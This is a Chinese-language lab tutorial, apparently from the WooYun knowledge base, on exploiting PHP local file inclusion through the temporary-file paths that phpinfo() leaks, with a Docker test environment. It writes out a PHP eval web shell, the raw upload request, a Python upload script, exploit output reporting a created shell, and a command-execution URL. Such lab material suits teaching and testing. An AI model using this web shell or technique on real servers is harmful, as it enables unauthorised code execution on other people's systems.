

PHP本地文件包含漏洞环境搭建与利用 | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PHP本地文件包含漏洞环境搭建与利用
0x00 简介
php本地文件包含漏洞相关知识,乌云上早有相应的文章,lfi with phpinfo最早由国外大牛提出,可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门。
此方式在本地测试成功,为了方便大家学习,减小学习成本,已构建docker环境,轻松测试。将构建好的docker放在国外VPS上,使用github项目 lfi_phpinfo 中poc文件夹下的脚本,本地运行,依然可以getshell。说明这种方式是可行的,对网络要求不是很高。
Docker Hub 镜像地址: janes/lfi_phpinfo
github 项目地址: lfi_phpinfo
源码存放在 code目录下, 可使用docker再现,poc目录下存放利用脚本
paper:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf
0x01 php 上传
向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。
- post上传文件
php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。
在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法
其中要确保上传表单的属性是 enctype=”multipart/form-data,必须用POST 参见: php file-upload.post-method
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
- 请求到达
- 创建临时文件,并写入上传文件的内容
- 调用相应PHP脚本进行处理,如校验名称、大小等
- 删除临时文件
PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。
- $_FILES信息,包括临时文件路径、名称
在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小
0x02 手工测试phpinfo()获取临时文件路径
- html表单
文件 upload.html
#!html
<!doctype html>
<html>
<body>
<form action="phpinfo.php" method="POST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
浏览器访问 upload.html, 上传文件 file.txt
#!php <?php eval($_REQUEST["cmd"]); ?>
burp 查看POST 信息如下
#!bash POST /LFI_phpinfo/phpinfo.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/LFI_phpinfo/upload.html Connection: close Content-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112 Content-Length: 368 -----------------------------11008921013555437861019615112 Content-Disposition: form-data; name="file"; filename="file.txt" Content-Type: text/plain <?php eval($_REQUEST["cmd"]); ?> -----------------------------11008921013555437861019615112 Content-Disposition: form-data; name="submit" Submit -----------------------------11008921013555437861019615112--
浏览器访问,phpinfo 返回如下信息:
#!php _REQUEST["submit"] Submit _POST["submit"] Submit _FILES["file"] Array ( [name] => file.txt [type] => text/plain [tmp_name] => /tmp/phpufdCHh [error] => 0 [size] => 33 )
得到tmp_name 路径
0x03 python脚本 upload file
#!python
import requests
host = '127.0.0.1'
url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)
file_ = '/var/www/LFI_phpinfo/file.txt'
response = requests.post(url, files={"name": open(file_, 'rb')})
print(response.text)
部分返回结果
#!php <tr><td class="e">_FILES["name"]</td><td class="v"><pre>Array ( [name] => file.txt [type] => [tmp_name] => /tmp/php7EvBv3 [error] => 0 [size] => 33 )
0x04 本地搭建环境
get shell
#!bash $ python lfi_phpinfo.py 127.0.0.1 LFI with phpinfo() ============================== INFO:__main__:Getting initial offset ... INFO:__main__:found [tmp_name] at 67801 INFO:__main__: Got it! Shell created in /tmp/g INFO:__main__:Wowo! \m/ INFO:__main__:Shutting down...
firefox 访问
#!bash http://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
说明getshell成功,之后就可以自由发挥了~~
0x05 使用 docker 构建环境
docker的基本用法,这里就不阐述了,可自行google。这里提供了两种构建镜像源的方式,使用github lfi_phpinfo 中Dockerfile自行构建,或使用我已经构建好的镜像 janes/lfi_phpinfo
- 镜像源
-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php]/php5
或
- 构建环境运行测试
获取 github lfi_phpinfo 的源码,切换到web目录下,开始构建环境进行测试。这里提供三种方式运行
方式1 使用php官方源运行测试
#!bash docker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
方式2 使用构建好的镜像 janes/lfi_phpinfo 运行测试
#!bash docker pull "janes/lfi_phpinfo" docker run --rm -p "80:80" janes/lfi_phpinfo
方式3 使用docker-compose
#!bash docker-compose up
接下来就可以使用python脚本 getshell 了
#!bash
python lfi_phpinfo.py docker_host_ip
0x06 结束语
动手实践 LFI with PHPInfo利用的过程,其实并不像看文章过程那样顺利,期间多多少少会碰见一些与环境有关的问题,而解决这些问题会耗费精力,这正是催生我用docker来构建测试环境想法的来源,希望能给网络安全的热爱者们提供更方便的学习环境。最后感谢[LFI with PHPInfo本地测试过程]文章的作者,给我研究LFI with phpinfo提供了不少帮助。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK